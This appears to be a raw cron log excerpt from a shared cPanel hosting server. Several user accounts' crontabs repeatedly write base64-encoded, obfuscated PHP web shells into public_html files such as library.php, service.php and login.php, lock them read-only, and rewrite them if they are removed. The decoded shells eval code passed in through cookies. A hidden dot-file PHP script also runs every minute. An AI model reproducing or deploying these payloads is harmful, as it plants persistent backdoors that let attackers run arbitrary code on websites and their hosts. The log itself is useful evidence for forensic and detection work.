rATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 07:57:02 medusa CROND[27663]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 07:57:02 medusa CROND[27671]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 07:57:02 medusa CROND[27673]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 07:57:02 medusa CROND[27680]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 07:57:02 medusa CROND[27676]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  2 07:58:01 medusa CROND[9064]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 07:58:02 medusa CROND[9243]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 07:58:02 medusa CROND[9244]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 07:58:02 medusa CROND[9246]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 07:58:02 medusa CROND[9251]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  2 07:58:02 medusa CROND[9252]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 07:58:02 medusa CROND[9254]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 07:58:02 medusa CROND[9266]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 07:58:02 medusa CROND[9269]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 07:58:02 medusa CROND[9272]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cleanuserphpsessions.cronlock /usr/share/cagefs/clean_user_php_sessions)
Mar  2 07:58:02 medusa CROND[9273]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 07:58:02 medusa CROND[9271]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 07:58:02 medusa CROND[9275]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 07:58:02 medusa CROND[9276]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 07:59:01 medusa CROND[27899]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 07:59:01 medusa CROND[27901]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 07:59:01 medusa CROND[27902]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  2 07:59:01 medusa CROND[27903]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 07:59:01 medusa CROND[27907]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 07:59:01 medusa CROND[27908]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 07:59:01 medusa CROND[27910]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 07:59:01 medusa CROND[27915]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 07:59:01 medusa CROND[27916]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
